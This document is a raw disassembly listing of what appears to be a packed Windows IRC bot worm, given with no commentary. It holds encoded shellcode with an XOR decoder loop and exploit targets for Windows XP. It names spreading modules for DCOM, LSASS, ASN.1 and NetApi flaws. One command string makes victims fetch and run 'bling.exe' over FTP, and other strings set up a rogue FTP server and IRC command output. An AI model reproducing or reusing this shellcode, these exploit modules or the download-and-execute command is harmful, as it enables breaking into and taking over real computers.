dword_427BBC	dd 42Ah			; DATA XREF: sub_404950+24Ar
dword_427BC0	dd 3E8h			; DATA XREF: sub_404950+2BBr
dword_427BC4	dd 258h			; DATA XREF: sub_404950+28Dr
byte_427BC8	db 0			; DATA XREF: sub_404950+1F6r
					; sub_404950+2C4r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_427BE0	dd 20804h		; DATA XREF: sub_404854r
					; sub_404950+2E2o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: UPX0:00427BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_427C14:				; CODE XREF: UPX0:00427B98j
		push	eax
		xor	al, 29h


loc_427C17:				; DATA XREF: sub_404950+21Eo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_427C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_404950+14Eo
dword_427C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_404950+F2o
; char aSPipeBrowser[]
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_404950+81o
		align 4
; char a_[]
a_:					; DATA XREF: sub_404950+10o
					; sub_40637D+24Do
		unicode	0, <.>,0
dword_427C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: UPX0:004050E3o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4


loc_428E74:				; DATA XREF: UPX0:0040531Ao
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax


loc_428E92:				; CODE XREF: UPX0:00428EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_428EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_428E92
		inc	edx
		add	[eax-52h], esi
		inc	edx


loc_428EE9:				; CODE XREF: UPX0:00428ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h


loc_428EFC:				; CODE XREF: UPX0:00428F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_428EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_428F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:_data
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_428F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp


loc_428F4D:				; CODE XREF: UPX0:00428F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h


loc_428F59:				; CODE XREF: UPX0:00428F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_428F67+2
		cmc
		lodsb


loc_428F67:				; CODE XREF: UPX0:00428F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_429040	dw 7A69h		; DATA XREF: sub_405145+30r
word_429042	dw 0			; DATA XREF: UPX0:00427641o
; char aEchoOpenSDOE_0[]
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405145+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_4290B0	db    2			; DATA XREF: UPX0:00405368o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D6+5CDo
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D6+5B9o
					; sub_40EE51+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D6+5ACo
		align 4
; char unk_429128
unk_429128	db    2			; DATA XREF: sub_4053D6+561o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortDNowExecu	db '  %s, port:%d now executing %s on remote machine.',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D6+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D6+516o
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D6+4FEo
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D6+4E9o
		align 10h
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D6+4D8o
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D6+4A5o
		align 4
; char aS[]
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D6+464o
		db ']',0
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_4053D6+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D6+3FDo
		align 4
; char aList[]
aList		db 'LIST',0             ; DATA XREF: sub_4053D6+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D6+3AFo
		align 10h
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D6+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D6+38Co
; char aI[]
aI:					; DATA XREF: sub_4053D6+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D6+351o
; char aA[]
aA:					; DATA XREF: sub_4053D6+33Do
		unicode	0, <A>,0
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_4053D6+326o
					; sub_4053D6+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D6+316o
		align 10h
; char off_4292D0[]
off_4292D0	dd offset dword_445750	; DATA XREF: sub_4053D6+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D6+2F2o
		align 4
; char aRest[]
aRest		db 'REST',0             ; DATA XREF: sub_4053D6+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D6+2CEo
		align 10h
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D6+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D6+2AAo
		align 10h
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_4053D6+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D6+286o
		align 10h
; char aUser_0[]
aUser_0		db 'USER',0             ; DATA XREF: sub_4053D6+271o
					; UPX0:0042E820o
		align 4
; char aSS[]
aSS		db '%s %s',0            ; DATA XREF: sub_4053D6+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D6+1D8o
		align 4
; char aRb[]
aRb		db 'rb',0               ; DATA XREF: sub_405A56+24o
					; sub_406C0B+12Eo ...
		align 4
; char unk_42936C
unk_42936C	db    2			; DATA XREF: sub_405AF0+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
; char asc_4293B0[]
asc_4293B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF0+2CFo
		align 4
; char asc_4293B4[]
asc_4293B4	db ' ',0                ; DATA XREF: sub_405AF0+293o
					; sub_40EE51+A8o ...
		align 4
; char aGet[]
aGet		db 'GET ',0             ; DATA XREF: sub_405AF0+269o
		align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4B+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4B+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4B+97o
					; sub_40B8D3+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4B+83o
		align 4
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4B:loc_405FB0o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4B+5Eo
		align 4
; char unk_4295D4
unk_4295D4	db    2			; DATA XREF: sub_4060CD+28Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
; char unk_42961C
unk_42961C	db    2			; DATA XREF: sub_4060CD+20Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
; char asc_42965C[]
asc_42965C	db '*',0                ; DATA XREF: sub_4060CD+157o
		align 10h
; char asc_429660[]
asc_429660	db 0Ah,0		; DATA XREF: sub_4060CD+FBo
					; sub_40637D+29o ...
		align 4
; char aSS_2[]
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060CD+EAo
					; sub_40637D+4CAo ...
		align 4
; char aS_1[]
aS_1		db '%s',0               ; DATA XREF: sub_4060CD+3Ao
					; sub_40B38B+4Co ...
		align 10h
aS_9		db '\%s',0              ; DATA XREF: sub_4060CD+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40637D+64Eo
		align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40637D+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40637D+618o
		align 4
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40637D+589o
		align 10h
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40637D+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40637D:loc_406895o
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40637D+511o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40637D+471o
		align 4
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40637D+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40637D:loc_40673Fo
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40637D+3BBo
		align 4
; char aSS_0[]
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40637D+374o
		align 10h
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40637D+330o
					; sub_40637D+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
; char aPrivmsgS31s21s[]
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40637D+30Eo
		align 4
; char aS_0[]
aS_0		db '<%s>',0             ; DATA XREF: sub_40637D+2E4o
					; sub_40637D+413o
		align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40637D+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_40637D+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40637D+285o
		align 4
; char a__[]
a__		db '..',0               ; DATA XREF: sub_40637D+232o
		align 10h
; char aTrTdColspan3AH[]
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40637D+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aSearchingForS[]
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+147o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40637D+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40637D+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40637D+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40637D+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AEA+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_429B14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C0B+493o
dword_429B20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C0B+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
; char unk_429B74
unk_429B74	db    2			; DATA XREF: sub_406C0B+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_429BA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C0B+399o
; char dword_429BBC
dword_429BBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C0B+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
; char unk_429C04
unk_429C04	db    2			; DATA XREF: sub_406C0B+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
; char unk_429C38
unk_429C38	db    2			; DATA XREF: sub_406C0B+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C0B+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407758+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: UPX0:00405362o
		align 4
		dd 5 dup(0)
dword_429CB0	dd 87h			; DATA XREF: sub_407102+1Er
					; sub_40EE51+30CDr ...
off_429CB4	dd offset sub_402DCE	; DATA XREF: sub_407758+1E6r
dword_429CB8	dd 0			; DATA XREF: sub_402DCE+2E1w
					; sub_402DCE+2E7r ...
dword_429CBC	dd 1			; DATA XREF: sub_407243+1Fr
dword_429CC0	dd 0			; DATA XREF: sub_407243:loc_4074B4r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DCEh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DCEh, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40367Fh, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	40367Fh, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	40367Fh, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404286h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 73610074h, 6D73316Eh
		dd 746E62h, 5 dup(0)
		dd 8Bh,	404286h, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
